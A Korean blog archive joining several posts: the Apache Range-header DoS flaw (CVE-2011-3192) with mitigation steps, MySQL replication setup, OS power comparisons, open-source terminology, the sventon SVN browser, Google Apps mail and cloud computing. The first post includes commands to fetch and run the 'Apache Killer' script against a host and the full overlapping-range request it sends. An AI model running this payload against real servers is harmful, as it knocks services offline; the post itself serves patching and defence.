얼마전 아파치 웹서버 무력화시킬 심각한 DoS 결함 발견 이라는 기사가 나왔습니다. 메일링 리스트를 보니 영향 받는 소프트웨어는
Apache 1.3.x 및 이전, Apache 2.2.19 이전 버전이라고 하니 현재의 아파치 웹서버 대부분이 해당되는 이슈입니다. 따라서 아파치 웹서버를 사용하는 국내의 서버관리자들, 그리고 아파치가 탑재된 각종 산업분야의 엔지니어들은 빠른 대응을 해야겠습니다. 저도 처리해야지 하다가 오늘에서야 시간이 나서 후다닥 해치웠습니다. 개략적인 내용과 조치방법을 정리했으니 유용하게 사용하시기 바랍니다.

Range 요청 취약점?

http는 헤더정보에 Range를 사용해서 콘텐츠의 일부만 요청할 수 있습니다 . 파일 이어받기 또는 p2p 등에서 파일의 일부만을 특정 서버에서 받고자 할 때, video 스트리밍, pdf 등의 다운로드가 사용합니다. 이번의 이슈는 이 http header 에 Range를 요청하는 취약점을 이용해서 아파치 웹서버에 DoS 공격이 가능하다는 것이죠

Range ?
Range: bytes= n-m
문서가 요구하는 부분적인 범위를 명시한다. 여러 개의 범위는 세미콜론으로 구분하여 나열한다. 만일 쉼표로 구별된 바이트 범위인 첫째 숫자가 없다면 범위는 문서의 끝에서부터 센다고 가정한다. 만일 둘째 숫자가 없다면 범위는 끝에서 바이트 n까지이다. 첫째 바이트는 바이트 0이다.


이 공격을 테스트하기 위해서 http://goo.gl/gKMYo 의 Apache Killer 스크립트를 다운로드 받았습니다.

cpan -i Parallel::ForkManager
wget http://static.hackersgarage.com/killapache.pl.hackersgarage.com
mv killapache.pl.hackersgarage.com killapache.pl

실행 권한 부여
chmod u+x killapache.pl

공격시도
perl killapache.pl example.com 50

killapache.pl 스크립트는 아래와 같은 Range 요청을 해당 웹서버에 보냅니다.

HEAD / HTTP/1.1
Host: 192.168.10.140
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-
16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30,5-31,5-32,5-
33,5-34,5-35,5-36,5-37,5-38,5-39,5-40,5-41,5-42,5-43,5-44,5-45,5-46,5-47,5-48,5-49,5-
50,5-51,5-52,5-53,5-54,5-55,5-56,5-57,5-58,5-59,5-60,5-61,5-62,5-63,5-64,5-65,5-66,5-
67,5-68,5-69,5-70,5-71,5-72,5-73,5-74,5-75,5-76,5-77,5-78,5-79,5-80,5-81,5-82,5-83,5-
84,5-85,5-86,5-87,5-88,5-89,5-90,5-91,5-92,5-93,5-94,5-95,5-96,5-97,5-98,5-99,5-100,5-
101,5-102,5-103,5-104,5-105,5-106,5-107,5-108,5-109,5-110,5-111,5-112,5-113,5-114,5-
115,5-116,5-117,5-118,5-119,5-120,5-121,5-122,5-123,5-124,5-125,5-126,5-127,5-128,5-
129,5-130,5-131,5-132,5-133,5-134,5-135,5-136,5-137,5-138,5-139,5-140,5-141,5-142,5-
143,5-144,5-145,5-146,5-147,5-148,5-149,5-150,5-151,5-152,5-153,5-154,5-155,5-156,5-
157,5-158,5-159,5-160,5-161,5-162,5-163,5-164,5-165,5-166,5-167,5-168,5-169,5-170,5-
171,5-172,5-173,5-174,5-175,5-176,5-177,5-178,5-179,5-180,5-181,5-182,5-183,5-184,5-
185,5-186,5-187,5-188,5-189,5-190,5-191,5-192,5-193,5-194,5-195,5-196,5-197,5-198,5-
199,5-200,5-201,5-202,5-203,5-204,5-205,5-206,5-207,5-208,5-209,5-210,5-211,5-212,5-
213,5-214,5-215,5-216,5-217,5-218,5-219,5-220,5-221,5-222,5-223,5-224,5-225,5-226,5-
227,5-228,5-229,5-230,5-231,5-232,5-233,5-234,5-235,5-236,5-237,5-238,5-239,5-240,5-
241,5-242,5-243,5-244,5-245,5-246,5-247,5-248,5-249,5-250,5-251,5-252,5-253,5-254,5-
255,5-256,5-257,5-258,5-259,5-260,5-261,5-262,5-263,5-264,5-265,5-266,5-267,5-268,5-
269,5-270,5-271,5-272,5-273,5-274,5-275,5-276,5-277,5-278,5-279,5-280,5-281,5-282,5-
283,5-284,5-285,5-286,5-287,5-288,5-289,5-290,5-291,5-292,5-293,5-294,5-295,5-296,5-
297,5-298,5-299,5-300,5-301,

--CUT--

1016,5-1017,5-1018,5-1019,5-1020,5-1021,5-1022,5-1023,5-1024,5-1025,5-1026,5-1027,5-
1028,5-1029,5-1030,5-1031,5-1032,5-1033,5-1034,5-1035,5-1036,5-1037,5-1038,5-1039,5-
1040,5-1041,5-1042,5-1043,5-1044,5-1045,5-1046,5-1047,5-1048,5-1049,5-1050,5-1051,5-
1052,5-1053,5-1054,5-1055,5-1056,5-1057,5-1058,5-1059,5-1060,5-1061,5-1062,5-1063,5-
1064,5-1065,5-1066,5-1067,5-1068,5-1069,5-1070,5-1071,5-1072,5-1073,5-1074,5-1075,5-
1076,5-1077,5-1078,5-1079,5-1080,5-1081,5-1082,5-1083,5-1084,5-1085,5-1086,5-1087,5-
1088,5-1089,5-1090,5-1091,5-1092,5-1093,5-1094,5-1095,5-1096,5-1097,5-1098,5-1099,5-
1100,5-1101,5-1102,5-1103,5-1104,5-1105,5-1106,5-1107,5-1108,5-1109,5-1110,5-1111,5-
1112,5-1113,5-1114,5-1115,5-1116,5-1117,5-1118,5-1119,5-1120,5-1121,5-1122,5-1123,5-
1124,5-1125,5-1126,5-1127,5-1128,5-1129,5-1130,5-1131,5-1132,5-1133,5-1134,5-1135,5-
1136,5-1137,5-1138,5-1139,5-1140,5-1141,5-1142,5-1143,5-1144,5-1145,5-1146,5-1147,5-
1148,5-1149,5-1150,5-1151,5-1152,5-1153,5-1154,5-1155,5-1156,5-1157,5-1158,5-1159,5-
1160,5-1161,5-1162,5-1163,5-1164,5-1165,5-1166,5-1167,5-1168,5-1169,5-1170,5-1171,5-
1172,5-1173,5-1174,5-1175,5-1176,5-1177,5-1178,5-1179,5-1180,5-1181,5-1182,5-1183,5-
1184,5-1185,5-1186,5-1187,5-1188,5-1189,5-1190,5-1191,5-1192,5-1193,5-1194,5-1195,5-
1196,5-1197,5-1198,5-1199,5-1200,5-1201,5-1202,5-1203,5-1204,5-1205,5-1206,5-1207,5-
1208,5-1209,5-1210,5-1211,5-1212,5-1213,5-1214,5-1215,5-1216,5-1217,5-1218,5-1219,5-
1220,5-1221,5-1222,5-1223,5-1224,5-1225,5-1226,5-1227,5-1228,5-1229,5-1230,5-1231,5-
1232,5-1233,5-1234,5-1235,5-1236,5-1237,5-1238,5-1239,5-1240,5-1241,5-1242,5-1243,5-
1244,5-1245,5-1246,5-1247,5-1248,5-1249,5-1250,5-1251,5-1252,5-1253,5-1254,5-1255,5-
1256,5-1257,5-1258,5-1259,5-1260,5-1261,5-1262,5-1263,5-1264,5-1265,5-1266,5-1267,5-
1268,5-1269,5-1270,5-1271,5-1272,5-1273,5-1274,5-1275,5-1276,5-1277,5-1278,5-1279,5-
1280,5-1281,5-1282,5-1283,5-1284,5-1285,5-1286,5-1287,5-1288,5-1289,5-1290,5-1291,5-
1292,5-1293,5-1294,5-1295,5-1296,5-1297,5-1298,5-1299
Accept-Encoding: gzip
Connection: close

그 결과 버그가 존재하는 아파치 웹서버의 경우에는 아래와 같이 시스템의 CPU, 메모리등의 자원을 엄청나게 소모하게 되고 결국 정상적인 서비스가 불가능하게 됩니다.




조치방법

이 보안 이슈에 대응하는 방법은 두가지가 있습니다. 현재 이슈가 해결된 버전이 이미 나와있기 때문에 가장 좋은 방법은 아파치 웹서비스 패키지를 최신으로 업데이트하는 것이 좋습니다, 하지만 운영중인 서비스에 대해서 재설치의 압박이 있는 경우도 있으니 그런 경우라면 웹서버 Range header의 조건을 검사하여 차단하는 방법이 있습니다.

1) Apache 2.2.20 업데이트(Apache 2.2.20 for CentOS 5.x)

소스 컴파일을 하시는 경우에는 홈페이지에서(http://httpd.apache.org/download.cgi) 최신 소스코드를 다운받아 설치하시기 바랍니다. 저는 CentOS 5.5 를 사용하는데 아직 yum repository 에는 최신의 아파치 rpm이 없기 때문에 다른곳을 이용해서 설치했습니다.

Yum repository 추가(자신의 환경에 맞는 repository를 추가해 줍니다)
i386 :
rpm -ihv http://centos.alt.ru/repository/centos/5/i386/centalt-release-5-3.noarch.rpm

x86_64:
rpm -ihv http://centos.alt.ru/repository/centos/5/x86_64/centalt-release-5-3.noarch.rpm

설치된 Repository 확인
yum repolist

아파치 버전 확인
yum --enablerepo=CentALT list httpd

아파치 업데이트
yum --enablerepo=CentALT install httpd

웹서버 재시작
service httpd restart


2) http header의 Range 요청을 검사해서 차단하는 방법

대부분 정상적인 Range 요청시 필드가 5개 이상은 넘지 않기 때문에 5개를 넘는 Range 요청이 있다면 Range 요청은 리셋하는 방법입니다. 웹서버 환경설정 파일을 아래와 같이 새로 추가합니다.(rpm으로 설치했다면 /etc/httpd/conf.d/ 안에 생성)

/etc/httpd/conf.d/range-CVE-2011-3192.conf 파일의 내용

# Drop the Range header when more than 5 ranges.
# CVE-2011-3192
SetEnvIf Range (?:,.*?){5,5} bad-range=1
RequestHeader unset Range env=bad-range

# We always drop Request-Range; as this is a legacy
# dating back to MSIE3 and Netscape 2 and 3.
RequestHeader unset Request-Range

웹서버 재시작
service httpd restart


CVE 자료(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192) 를 보니 8/19에 접수된 이슈인데 8/30 이슈가 해결된 아파치 2.2.20 버전이 나왔습니다. 이번 일을 통해서 다시한번 오픈소스SW의 보안에 대한 빠른 대응을 느끼게 됩니다. SW를 개발하는 입장에서 보면 아파치정도의 세계시장 점유율을 가진 소프트웨어가 이렇게 빠르게 대응하는 것이 가능할까하는 의문이 듭니다. 이것이 오픈소스SW의 힘이겠죠  :-)


참고 자료


Source : MySQL-Replication-Tutorial, MySQL Conference and Expo

Replication?

MySQL Cluster가 동기화 (synchronous) 리플리케이션과을 수행하는것과는 다르게, MySQL은 단 방향, 즉 비동기 리플리케이션 (asynchronous replication)을 지원합니다. MySQL Replication은 하나의 서버가 마스터로 동작하고, 나머지 한 개 이상의 다른 서버들이 슬레이브로 동작하여 마스터의 Binlog를 이용하여 슬레이브가 복제를 수행하고, Relay Binlog에 기록하는 기술을 의미합니다. 즉, 마스터의 MySQL을 슬레이브가 똑같이 복사해서 가지고 있는것이죠.

MySQL Replication은 데이터 백업의 용도뿐만 아니라, 데이터베이스에 대한 입출력을 각서버에 나누에 수행시켜 부하를 분산시키거나, 여러개의 마스터를 이용한 고가용성의 확보등에 사용됩니다.


준비사항

마스터, 슬레이브에서 사용하는 MySQL의 버전을 확인하여 가능한 동일한 버전으로 일치시키는 것이 좋으며, 마스터보다는 슬레이브의 버전이 높아야 안정적인 작동을 보장합니다.
MySQL 이중화 상태에서 Replication Fail Bug 에 대한 최근의 자료(http://goo.gl/fSlxb)를 보면 PK가 없는 테이블의 Null값을 업데이트 하는 경우 Replication이 실패하는 경우가 있다고 하니, 버그가 해결된 최신버전을  업데이트한 후 사용하시기를 권고합니다.

CentOS 5.5 에서 MySQL 5.5.15 설치방법
1) Install Remi repository
rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-5.rpm

2) Check Available MySQL versions
yum --enablerepo=remi,remi-test list mysql mysql-server

3) Install MySQL
yum --enablerepo=remi,remi-test install mysql mysql-server


Master 에서 준비할 일

1) my.cnf 파일에 마스터의 설정 추가
server-id = 고유한상수값
binlog-do-db = 복제할 원본 DB명 A
binlog-do-db = 복제할 원본 DB명 B
binlog-ignore-db = 복제하지않을 원본 DB명 A
binlog-ignore-db = 복제하지않을 원본 DB명 B
log-bin = Binlog 파일명

예)
server-id = 1
binlog-do-db = testdb
log-bin=mysql-master-bin

2) 슬레이브에서 Replication을 위해 접속할 유저를 생성하고 권한부여
CREATE USER '사용자아이디'@'접속을 허용할 호스트주소' IDENTIFIED BY '사용자비밀번호';
GRANT REPLICATION SLAVE ON *.* TO '사용자아이디'@'접속을 허용할 호스트주소';

예)
mysql> CREATE USER 'repl_user'@'%' IDENTIFIED BY 'abc1234';
mysql> grant replication slave on *.* to 'repl_user'@'%' identified by 'abc1234';


3) 슬레이브에 적용할 데이터베이스의 스냅샵 덤프파일 준비
mysqldump -u root -p db명 > 파일명.sql

예)
mysqldump -u root -p testdb > testdb.sql


Slave 에서 준비할 일

1) my.cnf 파일에 슬레이브의 설정 추가
server-id = 고유한상수값
relay-log = Relay Binlog 파일명

예)
server-id = 2
relay-log = slave-relay-bin

2) master에서 덤프한 파일을 임포트
마스터에서 미리 덤프한 파일을 슬레이브로 복사하고, 그 파일을 이용하여 슬레이브의 MySQL DB에 임포트합니다.
mysql -u root -p db명 < 파일명.sql

예)
mysql -u root -p testdb < testdb.sql

3) 마스터에 대한 설정
MySQL 콘솔창에서 마스터의 호스트주소, 사용자명, 비밀번호, Binlog 파일명, Position 등을 아래와 같이 설정합니다.
(이때 사용하는 Binlog 파일명과 log position의 값은 마스터의 MySQL을 재시작하고, show master status 명령으로 확인합니다.)


mysql> CHANGE MASTER TO
    ->     MASTER_HOST='master_host_name',
    ->     MASTER_USER='replication_user_name',
    ->     MASTER_PASSWORD='replication_password',
    ->     MASTER_LOG_FILE='recorded_log_file_name',
    ->     MASTER_LOG_POS=recorded_log_position;

예)
mysql> change master to
    ->     master_host='192.168.10.10',
    ->     master_user='repl_user',
    ->     master_password='abc1234',
    ->     master_log_file='mysql-master-bin.000004',
    ->     master_log_pos=640;


결과 확인

이제 모든 설정을 마쳤으니, 마스터와 슬레이브의 MySQL 서버를 재구동 해주시고. 정상적으로 작동하는지 확인을 위하여 아래의 방법을 사용합니다.

1) 마스터의 상태확인을 위해서 아래의 명령을 이용합니다.
show master status;


2) 슬레이브의 상태확인을 위해서 아래의 명령을 이용합니다.
show slave status\G


모니터링

MySQL Replication을 구성하고 난 후, 정상작동여부를 모니터링하여 마스터와 슬레이브의 내용이 다른 경우 메일로 통보받는 것이 가능합니다. 아래 링크의 SW는 마스터의 Binlog와 Position을 가져와서 슬레이브의 상태와 비교하고 같지않은 경우에 메일로 통보하는 로직으로 구현된 SW입니다.

http://forge.mysql.com/tools/tool.php?id=6
http://datacharmer.blogspot.com/2011/04/refactored-again-poor-mans-mysql.html



고급활용

MySQL의 5.x대에 들어오면서 Replication은 row-based, semi-synch, delayed, Circular,  Master-Master Replication, SSL Turnnel, Proxy 등의 다양한 고급활용이 가능합니다. 고급활용에 대한 상세한 내용은 이번 글에서 다루지 않으니, 아래에 제시한 참고자료의 링크를 이용하시기 바랍니다.


참고자료





녹색성장이 국가에서 추진하는 정책이다 보니, 최근 탄소배출량을 줄이기 위한 에너지 절감에 대한 이야기가 자주 거론 됩니다. 많은 기업들이 에너지 절약에 주목하고 있는 것이 대세이고, 그 일환으로 마이크로소프트에서는 Windows 7 의 전원관리 기술에 대한 보도자료(http://www.microsoft.com/korea/events/2011/powersave/)를 통해 낮은 전력소비량을 이야기 하고 있습니다. 요약하면 Windows XP 보다는 Windows 7 을 사용하는 것이 에너지 절감에 유리하다는 내용이죠.

Source : http://www.microsoft.com/korea/events/2011/powersave/


저도 최근 업무상 미팅중에  오픈소스SW의 탄소배출량 절감효과 연구에 대한 의견을 나눈적이 있었습니다. 내친김에 자료를 좀 찾아보았는데, Ubuntu 와 Windows 7 을 비교한 자료(2011년6월29일 발표)가 있어서 공유합니다.

Surprising Power Consumption Of Ubuntu 11.04 vs. Windows 7
- Source : http://www.phoronix.com/scan.php?page=article&item=windows_ubuntu_pow&num=9

- 게임을 하는 동안은 우분투가 약간 높은 전력소모


- 부팅하는 동안은 윈도우7 이 약간 높은 전력소모


- HD 비디오를 재생하는 순간에는 우분투가 더 높은 전력소모

- 가벼운 데스크탑의 사용에서는 두 운영체제가 비슷비슷


내용을 요약하면, 마이크로소프트에서 이야기하는 자료를 근거로 보면 이전의 윈도우보다 Windows 7 이 에너지 절감에 도움이 되고, Ubuntu 11.04 vs. Windows 7 은 일장 일단이 있는 비슷비슷한 상태라는 이야기네요.

향후 오픈소스SW의 탄소배출량 절감에 대한 좀 더 심도있는 연구를 수행해서 현재의 운영체제 단위의 비교가 아니라 업무 도메인별로 오픈소스SW 스택 단위를 비교한다면 오픈소스SW에 대한 신뢰성을 제고할 수 있는 자료로 쓰일수 있겠습니다.



참고자료
- Ubuntu 9.04 vs Windows 7 Energy consumption test
http://blog.o-lab.se/2009/09/ubuntu-9-04-vs-windows-7-energy-consumption-test/

- Linux vs. Windows Power Usage
http://www.phoronix.com/scan.php?page=article&item=880&num=1

- Surprising Power Consumption Of Ubuntu 11.04 vs. Windows 7
http://www.phoronix.com/scan.php?page=article&item=windows_ubuntu_pow&num=9


메일링으로 도착한 정보를 읽다가 공개SW 사용기 공모전 (http://www.oss.kr/7777) 을 하는것을 보았습니다.

참여한 글의 수가 생각보다 많은것을 보고 사람들의 관심이 높아진것 같고 공개SW역량프라자에서 많은 일을 하는구나 하는 생각으로 사용기를 쭈욱 읽어보았습니다. 그런데 사용기를 제출한 몇몇분들의 글을 보니, 공개SW와 프리웨어를 구분하지 않고 쓴것들이 보입니다. (오픈캡처, smmemo 같은 SW는 프리웨어죠)



2004년 이후로 공개SW라는 단어를 산업계에 이해시키기 위해서 많은 노력을 해왔기 때문에, 이제 공개SW라는 단어가 제법 많이 알려진 상태입니다.
하지만 공개SW란 비용의 관점이 아니고 소스코드의 관점에서 해석되는 단어임에도 불구하고, 많은 사람들이 아직도 공개SW라는 단어를 비용의 관점에서 해석해서 공짜SW로 이해하고 있는경우를 만납니다.(http://www.opensource.org/docs/definition.php)


source - http://goo.gl/57lKP

여전히 공개SW는 무료인가요? 라는 질문을 종종 받습니다.

공개SW라는 단어의 정의를 재차 설명해야 하는 경우가 많다는 사실을 보면
Open Source Software라는 단어의 현지화 과정에서 무언가 잘못된 것은 아닐까 하고 생각해봅니다.

SW를 분류할때 비용의 관점에서 보면 Freeware, Shareware, ADware, Commercial Software 등으로 나누어지고,
소스코드의 공유관점에서 보면 Open Source Software, Close Source Software 로 나눌수 있습니다.

그런데 'Open Source Software'를 현지화하면서 '공개SW' 라고 이름지었고,  그 과정에서 'Source'라는 키워드가 사라진것으로 인해 소스코드관점인지, 비용관점인지 모호해졌고, 그 때문에 Open Source Software, Freeware, Shareware에 대한 식별이 어려워진건 아닐까요?

공개SW라는 단어가 소스코드의 관점이라는 사실이 직관적이지 않으니,  그냥 OSS(Open Source Software)라고 사용한다면 좀더 이해하기 쉽지 않을까요?


참고

freeware
- 프리웨어(공개 소프트웨어)는 금전적인 지불 없이, 제작자가 무료로 사용할 수 있도록 배포하는 프로그램을 말합니다.

shareware
- 쉐어웨어도 무료로 사용이 가능하나, 일정 기간동안만 사용하도록 정해진 프로그램입니다.  만약 계속 이용하고 싶다면, 프로그램을 구입하여 이용할 수 있습니다.

Open Sorce software
- 오픈소스는 소스 코드에 대한 접근이 허용돼 공통적으로 합의된 규칙에 따라 누구나 쉽게 사용할 수 있고, 제 3자에 의한 수정 및 배포가 가능합니다.

The Open Source Definition
- http://www.opensource.org/docs/definition.php

The Open Source Definition 번역본(2002)
- http://korea.gnu.org/people/chsong/copyleft/osd-korean.html

The Open Source Definition 번역본(2006)
- http://goo.gl/ySlpA

데비안 자유 소프트웨어 지침(DFSG, Debian Free Software Guidelines)  번역본
- http://goo.gl/GgXFs




Nice Subversion Repository Browser

개요


소스코드 버전관리를 위해서 svn을 많이 사용하고 계시죠?

이번에 소개하는 sventon은 소스코드 버전관리를 위해서 subversion을 사용하는 경우, 코드 저장소를 웹기반으로 탐색할 수  있도록 도와주는 공개SW 입니다. sventon은 java로 작성되어 war파일만 구동가능하면 되기 때문에 다른 웹기반 svn 저장소 브라우저들에 비해서 설치가 간단하고, 사용하기도 좋으니 svn web client를 고민하고 계시다면 사용해 보시기 바랍니다.





설치 및 환경설정

1) sventon website - http://www.sventon.org/




2) 다운로드
- 최신의 배포파일을 다운로드 받아서 압축을 해제하는 것으로 설치준비가 모두 끝납니다.



3) 압축해제

- sventon은 java war파일로 배포되기 때문에 war를 구동할 수 있는 was가 필요합니다. 저는 tomcat을 사용하도록 하겠습니다.  압축을 해제하면 아래와 같은 내용이 있습니다.




4) 설치
- 압축해제한 파일 중 svn.war 파일을 tomcat 루트(webapp)안에 복사해두고 tomcat을 재시작 하시거나, 또는 tomcat manager로 war파일을 배포하시면 war파일이 context로 자동 배포됩니다. 설치는 이것으로 끝입니다.




5) 설치확인 - 재시작 후 http://yourdomain:8080/svn/ 경로로 접근하면 초기설정이 가능한 화면을 만나게 됩니다.

<sventon 초기 설정화면>


<sventon repository 선택>


<svn에 접근가능한 계정으로 로그인을 요구하는 로그인 화면>



주요기능
- svn의 상태를 웹기반으로 제공
- diff 기능
- 여러개의 코드 저장소 지원
- zip파일로 코드 다운로드 지원


메인화면에서 아래에 표시한 붉은색 부분을 클릭하면 수행가능한 명령이 나타납니다.



<소스코드저장소 변경>



메인화면 오른쪽하단의 drag&drop tray를 이용하면 드래그한 파일들끼리 비교하거나 zip파일로 다운로드 가능합니다.





기타활용 - hudson plugin

hudson 과 sventon 연동을 하면 더육 효과적입니다.

1) hudson의 configure 화면에서 아래 이미지처럼 Source Code Management -> Repository browser -> sventon 2.x 으로 설정하고, URL에 설치한 sventon의 주소를 입력합니다.  (ex. http://yourdomain:8080/svn/)


2) Repository Instance (ex. 생성한 프로젝트명)
저장소에 생성한 프로젝트명을 입력합니다.

3) 환경설정을 저장 후 , 허드슨가서 build now를 클릭하시고, 변경된 히스토리를 확인합니다.
(프로젝트 -> Changes -> sventon 2.x 에서 확인)


history에서 Sventon 2.x를 클릭하시면 아래와 같은 sventon의 화면을 만날수 있습니다.




diff의 결과를 시각적으로 확인가능합니다.



svn client 기능비교
이 외의 다양한 Subversion Repository Browser 들에 대한 비교자료는 아래링크를 참고하세요.
http://en.wikipedia.org/wiki/Comparison_of_Subversion_clients

이번에는 상금도 조금 더 늘어나고, 공모분야도 다양하네요. 

인텔 Meego, SKT, Naver 등도 관심이 있다고 하니, 많은 관심 바랍니다. :-)


홈페이지 : http://project.oss.kr/



홈페이지 : http://project.oss.kr/

여러분 중에서도 아마 이런 고민을 해보신적이 있겠죠? 
우리회사는 아직 50명이 안되는 규모인데, 이메일은 회사도메인으로 만들어서 사용중이다.
직원이 한두명씩 늘어갈수록 외부기업에게 신청한 메일호스팅 서비스의 비용은 증가하고, 게다가 이메일 받은편지함의 용량은 쥐꼬리만큼씩 할당해줘서 자주 메일함을 백업받고 지워야한다. 뿐만 아니라 스팸필터링, 포워딩이 자유롭지 않고 아웃룩으로 pop3와 smtp를 연동해서 쓰기도 힘들다. 좋은 방법이 없을까?

얼마전 사무실에 찾아온 어떤 분이 자신의 회사 이메일 서비스를 옮기고 싶은데 설명을 좀 해달라고 하더군요. 구글링 해보면 좋은 자료가 많이 있지만, 뭐랄까 그냥 좀 쉽게 써볼까 해서 글을 작성해 보기로 했습니다.



소기업의 이메일서비스를 위한 대안 Google Apps 따라하기

구글앱스를 사용해서 자신의 도메인으로 메일을 사용하기 위한 절차는 3가지 단계를 거칩니다. 마지막 단계는 신청한 서비스가 정상작동인지 확인하는 것이죠.

1) 자신의 도메인에 대한 네임서버정보를 구글앱스 사용에 적합하게 변경합니다.
2) 자신의 도메인에 대한 네임서버를 변경합니다
3) Google Apps를 신청합니다.
4) 기다린 후 사용합니다.

1단계, 자신의 도메인에 대한 네임서버정보를 구글앱스 사용에 적합하게 변경합니다.
이게 무슨소리인지 궁금한게 많으시겠지만 일단은 따라해보시길 추천드립니다.
http://kr.dnsever.com 으로 방문하여 회원가입을 합니다. 이 곳은 무료로 자신의 도메인 네임서버를 웹기반에서 관리할 수 있도록 제공해주는 서비스 입니다. 회원가입은 일반적인 사이트 가입과 유사하므로 다음 그림과 같이 진행하시면 됩니다.
가입을 완료한 후 가입시 등록한 이메일에서 인증url을 클릭하여 사용여부를 확인해 줍니다.

로그인 후 구글앱스 사용에 적합하게 자신의 도메인을 설정해 줍니다.

새로운 도메인 추가

아래쪽의 템플릿 설정 부분에서 구글 도메인용 애플리케이션을 선택합니다
설정완료

여기까지 진행하셨다면 1단계를 무사히 마치고, 이제 자신의 도메인에 대한 네임서버를 지금 가입한 dnsever의 네임서버로 변경하는 2단계로 넘어갑니다. dnsever의 네임서버정보는 dnsever.com에서 로그인 하신 후 왼쪽하단의 메뉴에서 5개의 주소정보를 확인할 수 있습니다. 네임서버 변경을 위해서 복사해두세요.

2단계, 자신의 도메인에 대한 네임서버를 변경합니다
무슨 소리인지 좀 쉽게 이야기해볼까요. 
회사의 홈페이지에 abc.co.kr 이라는 도메인을 가지고 있다고 가정해보죠. 이 경우 도메인을 등록한 회사가 있을겁니다.(후이즈, 가비아 등의 도메인 등록대행처를 이용하는 경우가 대부분이시겠죠) 그 도메인 등록업체의 관리자 아이디와 비밀번호를 알아야 한다는 이야기 입니다. 도메인 등록업체의 관리자 아이디와 비밀번호를 알아내신 후 해당업체의 웹사이트로 로그인을 해서 자신의 도메인 네임서버를 1단계에서 만든 네임서버 정보로 변경합니다. (복사해두신 정보 기억나시죠?)

아래 그림의 도메인 대행업체 후이즈의 네임서버 변경화면입니다.


3단계, Google Apps를 신청합니다. 
다른 가이드의 경우에는 이 단계부터 시작하는 경우가 대부분 이더군요. 신청을 먼저하게 되면 여기저기 왔다갔다 하면서 작업을 해야하기 때문에 저는 이 단계를 마지막 단계로 구성했습니다. 
간혹, 무료 Google Apps를 신청하는 링크를 찾지못해서 비지니스로 가입하고 30일간 체험으로 사용하는 분이 있습니다. 하지만 그건 30일이 지나면 유료로 전환되는 방식이니, 아래의 링크를 이용해서 반드시 무료로 가입하시기 바랍니다.


가입 후 설정단계는 아래의 그림과 같습니다.

이 과정에서 자신의 도메인에 대한 관리권한이 있다는 사실을 증명해야 합니다. 자신의 도메인 웹사이트에 html파일을 만들어서 올릴수 있거나, 도메인의 네임서버에서 CNAME을 추가할 수 있거나 하는 두가지 방법중 하나를 선택해야 합니다. html 파일 업로드가 무슨 소리인지 모른다면 두번째 선택사항 CNAME을 선택하시고, 이전에 생성한 dnsever.com 에서 자신의 도메인 네임서버관리를 통하여 여기에서 제시하는 CNAME을 추가해 줍니다.


도메인에 대한 소유권을 확인받았다면, 이제 이메일이나 캘린더같은 서비스를 활성화 시켜야 사용가능합니다. 
아래의 표시한 부분을 클릭하면 서비스가 활성화 됩니다.

http://mail.abc.co.kr 도메인을 통해서 웹메일서비스를 사용하기 위해서 아래와 같이 변경합니다. 




4단계, 이제 Google Apps가 자신의 도메인 네임서버 정보를 확인 후 서비스를 제공하기를 기다리시면 됩니다.(보통 2일정도 소요됩니다)

nslookup 같은 도구를 이용해서 dns의 변경상태를 질의(윈도우 > cmd > nslookup > set q=mx> abc.co.kr 을 통해서)해보거나, 자신이 설정해 준 http://mail.abc.co.kr 주소로 접속하여 아래와 같은 정상적인 로그인 화면이 보인다면, 이제부터 Google Apps가 정상적으로 사용가능합니다.


기타 아웃룩으로 연동해서 사용하기 위한 pop3 또는 smtp의 설정이나, 기타 고급환경설정은 구글에서 제공하는 도움말을 참고하셔서 설정하세요.

최근에 문의하신 내용이 있어서 추가해 둡니다.

회사 도메인이3개가 있는데...모두 email 을 outlook 을 사용하고 있습니다.
도메인당 user 수는 모두 50개 미만이며, 서버/웹호스팅 업체 사용하고 있습니다.

1) googleapps 무료를 이용하고싶은데...무료도 MS outlook 과연동이되는지요?

  => 네, 50인이하의 도메인은 무료로 이용할 수 있으며, MS Outlook과의 연동도 이상없이 잘됩니다.

2) 기존 outlook 에 주고 받은 메일들을 이전할 수 있나요?

  => 가능합니다. 아래의 글을 참고하시기 바랍니다.
  아웃룩(Outlook)에서 지메일(G-mail)로 옮기기 (http://talk.mobizen.pe.kr/83)


얼마전 회사직원이 클라우드 컴퓨팅이란 무엇을 말하는지 질문하는데, 
"기업한테 참 좋은데..이거 참 설명할 수가 없네..(남자한테 참좋은데 하는 CF 아시죠?ㅋ)" 하는 느낌이 들었습니다.

최근 몇년동안 클라우드 컴퓨팅에 대해서 많은 이야기들이 논의 되고 있고, IT분야의 다른분들과 이야기 하다보면 클라우드 컴퓨팅에 대해서 이야기를 자주 나누게 되지만, 막상 설명을 하려면 말하기가 어렵더군요. 마침 오픈소스기술이 클라우드 서비스에 어떻게 사용되는지 모 잡지사 기자님과 이야기할 기회가 있어서, 대충 자료를 좀 조사해 보았습니다.

우선 클라우드 컴퓨팅이란 무엇인지부터 이야기해야겠죠

클라우드 컴퓨팅이란 ? 
위키피디아, 가트너, 포레스트 등에서 여러가지 정의를 내리고 있지만, 한마디로 이야기하자면 인터넷기반의 정보기술을 이용하여 사용자에게 유연한 확장성을 제공하는 서비스를 의미한다고 생각하면 될것 같습니다. 저는 그리드컴퓨팅, 유틸리티 컴퓨팅, 가상화기술, 오픈소스, 웹서비스, SBC(Server Based Computing) 등의 IT기술을 사용해서 사용자에게 생산과 관리부분의 책임을 덜어주고 비지니스에 집중할 수 있도록 도와주는 기술들을 모두 아우르는 것으로 이해하고 있습니다.


클라우드 컴퓨팅은 서비스의 모델에 따라서 SaaS(Software as a Service), PaaS(Platform as a Service), IaaS(Infrastructure as a Service) 로 구분하기도 하며, 서비스에 사용되는 데이터센터의 위치에 따라서 Private Cloud, Public Cloud, Hybrid Cloud, Community Cloud 로 구분하기도 합니다. (상세내용은 발표자료를 참고하세요)


<클라우드 컴퓨팅이 가져다주는 이익>

중소기업의 입장에서 클라우드 컴퓨팅 서비스의 이용은 생산과 관리에 부담이 줄어들면서 직접적인 비용이 절감되며 모바일오피스구축을 통한 업무연속성을 확보할 수 있는 장점이 있으며, 이미 클라우드 서비스를 부분적으로 도입해서 사용중인 기업도 상당수 존재하고 있습니다. 

